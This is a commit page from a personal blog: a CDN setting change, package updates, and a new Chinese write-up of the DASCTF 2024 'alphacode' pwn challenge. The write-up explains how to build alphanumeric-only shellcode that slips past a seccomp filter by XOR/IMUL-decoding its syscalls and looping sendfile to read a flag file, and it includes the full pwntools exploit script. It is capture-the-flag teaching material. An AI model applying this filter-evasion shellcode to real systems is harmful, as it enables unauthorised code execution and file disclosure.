Skip to content

Commit d29d12d

Browse files
committed
enable cdn, update packages and sync dasxmarek2024
1 parent 592afbc commit d29d12d

12 files changed

+400
-53
lines changed

_config.redefine.yml

+1-1
Original file line numberDiff line numberDiff line change
@@ -480,7 +480,7 @@ page_templates:
480480
# Docs: https://redefine-docs.ohevan.com/cdn
481481
cdn:
482482
# Whether to enable CDN
483-
enable: false
483+
enable: true
484484
# CDN Provider
485485
provider: npmmirror # npmmirror, zstatic, sustech, cdnjs, jsdelivr, unpkg, custom
486486
# Custom CDN URL

package-lock.json

+52-52
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
+138
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
---
2+
title: DASCTF2024八月开学季 - alphacode
3+
date: 2024/09/05 00:12:00
4+
updated: 2024/09/11 23:05:00
5+
tags:
6+
- shellcode
7+
---
8+
9+
## 文件属性
10+
11+
|属性 ||
12+
|------|------|
13+
|Arch |amd64 |
14+
|RELRO |full |
15+
|Canary|on |
16+
|NX |on |
17+
|PIE |on |
18+
|strip |yes |
19+
20+
## seccomp rules
21+
22+
<img src="/assets/dasxmarek2024/seccomp.png" width="80%" height="80%">
23+
24+
## 解题思路
25+
26+
一道shellcode题,限制了字符必须是`[0-9a-zA-Z]`,可以输入`0x53`个字符。
27+
28+
程序没有显式引用`libseccomp`,但是自己手搓了一个,并在运行shellcode前应用。
29+
程序不允许直接使用`read`,同时限制了参数只能是0/1,后面还关闭了标准输入流,
30+
对重新读入shellcode造成了很大困扰,遂尝试一次发送打orw。
31+
32+
程序在运行shellcode前还插入了一段额外的shellcode,清空了除了rsp以外寄存器的数据。
33+
34+
<img src="/assets/dasxmarek2024/inject.png" width="75%" height="75%">
35+
36+
由于`read`被禁用,`open+read+write`的shellcode会变得很长,
37+
因此可以考虑使用`sendfile`系统调用,当`off`设为`NULL`时,偏移会随读取自动更新。
38+
因此重复调用`sendfile(1, fd, NULL, 1)`就可以逐字节输出flag。显然,
39+
`syscall`不在允许的字符范围内,因此可以异或来绕过限制。但是,为了重复调用,
40+
需要使用`jmp -?`,而产生的shellcode都大于`0x7f`,因此要想异或解密,需要让eax产生大于`0x7f`的字节。
41+
我使用了`IMUL r32, [m32], i8`来产生这些字节,然后再异或一次得到`jmp -9`的shellcode。
42+
43+
{% note green fa-lightbulb %}
44+
值得注意的是,由于之前把标准输入关闭了,新打开的文件fd取代标准输入成为了`0`
45+
没有碰到seccomp限制。
46+
{% endnote %}
47+
48+
{% note blue fa-info %}
49+
官方题解中异或解码出`ADD`来凑大于`0x7f`的字节,没有使用处于范围内的`IMUL`
50+
{% endnote %}
51+
52+
## EXPLOIT
53+
54+
```python
55+
from pwn import *
56+
context.terminal = ['tmux','splitw','-h']
57+
EXE = './alphacode'
58+
59+
def payload(lo:int):
60+
global sh
61+
if lo:
62+
sh = process(EXE)
63+
if lo & 2:
64+
gdb.attach(sh, 'b *$rebase(0x1602)')
65+
else:
66+
sh = remote('node5.buuoj.cn', 27789)
67+
68+
code = [
69+
# mov ecx, 0x20240026
70+
b"\x35\x41\x30\x65\x61", # xor eax, 0x61653041
71+
b"\x35\x67\x30\x41\x41", # xor eax, 0x41413067
72+
b"\x50", # push rax
73+
b"\x59", # pop rcx
74+
# xor decrypt <code 1>
75+
b"\x68\x71\x30\x4e\x30", # push 0x304e3071
76+
b"\x58", # pop rax
77+
b"\x31\x41\x34", # xor [rcx + 0x34], eax
78+
# xor decrypt <code 2>
79+
b"\x68\x30\x30\x30\x30", # push 0x30303030 <- padding 3 b'0'
80+
b"\x58", # pop rax
81+
b"\x30\x41\x41", # xor [rcx + 0x41], al
82+
# xor decrypt 2 layers on <code 3>
83+
b"\x6b\x41\x30\x4e", # imul eax, dword ptr [rcx + 0x30], 0x4e
84+
b"\x35\x30\x61\x41\x30", # xor eax, 0x30416130
85+
b"\x31\x41\x47", # xor [rcx + 0x47], eax
86+
87+
# push "flag" on rsp >>>
88+
b"\x68\x66\x6c\x61\x67", # push 0x67616c66
89+
b"\x54", # push rsp
90+
# mov rax, SYS_open
91+
b"\x6a\x32", # push 0x32
92+
b"\x58", # pop rax
93+
b"\x34\x30", # xor al, 0x30 <code 1 @ \x30>
94+
# mov rdi, [rsp] (lea rdi, "flag") <<<
95+
b"\x5f", # pop rdi
96+
# fd = open("flag", 0, 0)
97+
b"\x0f\x05", # syscall
98+
99+
# mov r10, 1
100+
b"\x6a\x31", # push 0x31
101+
b"\x58", # pop rax
102+
b"\x34\x30", # xor al, 0x30
103+
b"\x50", # push rax
104+
b"\x41\x5a", # pop r10
105+
# mov rdi, 1
106+
b"\x50", # push rax
107+
b"\x5f", # pop rdi <code 2>
108+
# loop:
109+
# mov rax, SYS_sendfile
110+
b"\x6a\x49", # push 0x49
111+
b"\x58", # pop rax
112+
b"\x34\x61", # xor al, 0x61
113+
# sendfile(STDOUT_FILENO, fd, NULL, 1)
114+
b"\x0f\x05", # syscall <code 3>
115+
b"\xeb\xf5", # jmp loop (-9)
116+
]
117+
# patch <code 1, 2, 3> to pass the check
118+
raw = b"".join(code)
119+
patched = xor(raw, flat({
120+
0x34: p32(0x304e3071),
121+
0x41: p8(0x30),
122+
0x47: p32(0xf2df5c4c ^ 0x30416130)
123+
}, length=len(raw), filler=b'\0'))
124+
info(f'Sending payload: {repr(patched)}')
125+
sh.send(patched)
126+
127+
sh.recvuntil(b'DASCTF{')
128+
flag = b'DASCTF{' + sh.recvuntil(b'}')
129+
success(f'Flag is: {flag.decode()}')
130+
sh.close()
131+
```
132+
133+
> *纯真* 师傅出的题,上来直接开做,很快啊!直接拿下唯一解,就是花了太多时间,
134+
> 错过了 **clock** ,要不然还能得1000分
135+
136+
{% note default fa-flag %}
137+
![flag](/assets/dasxmarek2024/flag.png)
138+
{% endnote %}

0 commit comments

Comments
 (0)